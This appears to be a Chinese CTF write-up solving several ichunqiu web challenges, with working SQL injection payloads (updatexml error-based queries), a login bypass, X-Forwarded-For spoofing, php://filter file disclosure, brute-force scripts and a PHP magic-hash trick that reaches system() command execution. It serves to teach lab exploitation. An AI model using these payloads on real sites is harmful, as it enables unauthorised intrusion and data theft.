'CTF练习题解题'

题库传送门

https://www.ichunqiu.com/battalion

第一题 robot

打开页面,只有一张图片

想到了robot.txt和robots.txt
访问一下


但是啥也没有,看下源代码,拿到flag

第二题 seelog

字面意思访问下log

直接访问log,点access日志文件

查找页面响应码为200的信息,然后看到了这条

访问它,拿到flag

第三题 GETflag


截断了md5的0到6,我们利用大佬的脚本计算下captcha值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import hashlib
from multiprocessing.dummy import Pool as ThreadPool

# MD5截断数值已知 求原始数据
# 例子 substr(md5(captcha), 0, 6)=60b7ef

def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()


keymd5 = 'bec83c' #已知的md5截断值
md5start = 0 # 设置题目已知的截断位置
md5length = 6

def findmd5(sss): # 输入范围 里面会进行md5测试
key = sss.split(':')
start = int(key[0]) # 开始位置
end = int(key[1]) # 结束位置
result = 0
for i in range(start, end):
# print(md5(i)[md5start:md5length])
if md5(i)[0:6] == keymd5: # 拿到加密字符串
result = i
print(result) # 打印
break


list=[] # 参数列表
for i in range(10): # 多线程的数字列表 开始与结尾
list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = ThreadPool() # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()


提交上去,变成error了,现在解决账号密码的问题

试试万能密码


成功登陆,拿到三个文件

txt都没用,php文件中说明flag在根目录

抓包

直接访问flag.php ,发现并没有。。。

只能找到绝对路径,尝试linux网站的默认路径/var/www/html/
(春秋靶场的路径是/var/www/html/Challenges/flag.php)

1
2
3
4
5
6
7
8
9
分析代码
1,变量f是传入表单中的flag值
2,变量中这些符号'`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>' 全部变为“双引号
3,如果f的长度大于13就会输出wowwwwwwwwwwwwwwwwwwwwwwwww并结束进程
4,如果触发异常(f的字符等于spaceone的)会返回false
5.如果spaceone的值等于flag这个字符串就输出helloctf.php文件的内容

所以这里如果让spaceone等于flag就行了,且f不等于flag。
POST请求为flag=flag就好了


照常网页页面空白,直接看源代码,拿到flag

第四题 VID


查看源代码,直接访问该文件


提交get请求使flag等于对应的值

直接访问,下载该文件


我们看下login.php

Username处只运用了Safe_data函数,跟进这个函数,发现存在注入

而箭头指向的那段代码,表示在username中找我们输入的车牌号“number”,如果找到就替换成空

根据文件路径访问到登陆界面

抓包

提交时number必须为0,然后对username进行报错注入

爆表,有flag和users表

and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#

分段爆flag
and updatexml(1,concat(1,substr((select * from flag),1,15)),3)#

拿到最终flag

第五题 ipspoofing

访问页面,发现是一个个人博客之类的网站

拉到最底下

点击进入登陆页面

查看源代码,有提示

登陆说不在ip范围内

抓包改包,XFF头,利用modify heafers插件

修改IP为127.0.0.1拿到flag

第六题 PHPinfo


这题没啥好说的,文件包含

但发现啥也咩有,用其他伪协议,输出base64
php://filter/convert.base64-encode/resource=flag.php

解码拿到flag

第七题 天下武功唯快不破

通过代码审计:
利用setcookie把hello赋给token,并生成一个cookie
file_get_contents函数是把整个文件读入一个字符串中
file_put_contents($filename,$txt) 把变量txt里的每一个字符写入到filebame中

这里的大致意思为当token=hello是,把flag.php文件里的字符导入到路径:/u/通过md5加密的一个1到1000的的密文.txt,而且在10秒后进行删除,所以我们的速度必须要快

我们利用大佬的脚本,进行提交

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import re
import hashlib
for i in range(0,1001):
m1 = hashlib.md5()
m1.update(str(i).encode(encoding='utf-8'))
url='http://117.50.93.218:7004/u/'+m1.hexdigest()+'.txt'
r = requests.get(url)
if(r.status_code!=404):
print(i)
print(url)
print(r.status_code)
print(r.text)
break
else:
print(i)
print("404")

利用脚本进行破解,成功获取(爆不出来,可以尝试在爆的过程中多对页面进行刷新)

忘了是哪道,网鼎杯的练习题


分析代码

1
if((@file_get_contents($a,'r')===$b)&&(@file_get_contents($e,'r')==="I'm Administrator!"))

a要与b的值绝对相等,r值要为I’m Administrator!
靶场IP 192.168.1.1 (具体地址忘了,我们假装他是这个IP)
VPS IP 192.168.1.2
利用hackbar发送GET请求
a=http://192.168.1.2/a.txt&b=125&e=I’m Administrator!&c=class.php

别问我class.php是哪来的,是从robots.txt看到的

之后发现没有显示,然后利用伪协议把输出变成base64

解码之后得到如下
查看源码,获取代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<?php
#class.php

$m1 = $_GET['m1'];
$m2 = $_GET['m2'];
$cmd = $_GET['cmd'];

if (md5($m1) == md5($m2) && $m1 != $m2) {
# cat flag.php
echo "Place cat flag !";
if (preg_match('/cat/i', $cmd)) {
die('Hacker!');
}
system($cmd);
}

分析代码if语句中含义是,m1不等于m2,但是m1的md5值要相等于m2的md5值,这就涉及到我知识的盲区了,最后百度到这篇文章。
利用md5的缺陷https://www.cnblogs.com/Primzahl/p/6018158.html
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

而且最后一行system函数说明$cmd可以执行系统命令
一开始使用cat的,没成功,之后换了more查看
m1=QNKCDZO&m2=s878926199a&cmd=more flag.php

查看源码,获取 flag{danjfb-asdfss-vsdfsa-fdsdaf-cvfsfa}

相关资料,md5,PHP伪协议
https://www.cnblogs.com/piaomiaohongchen/p/10659359.html
https://www.jianshu.com/p/0a8339fcc269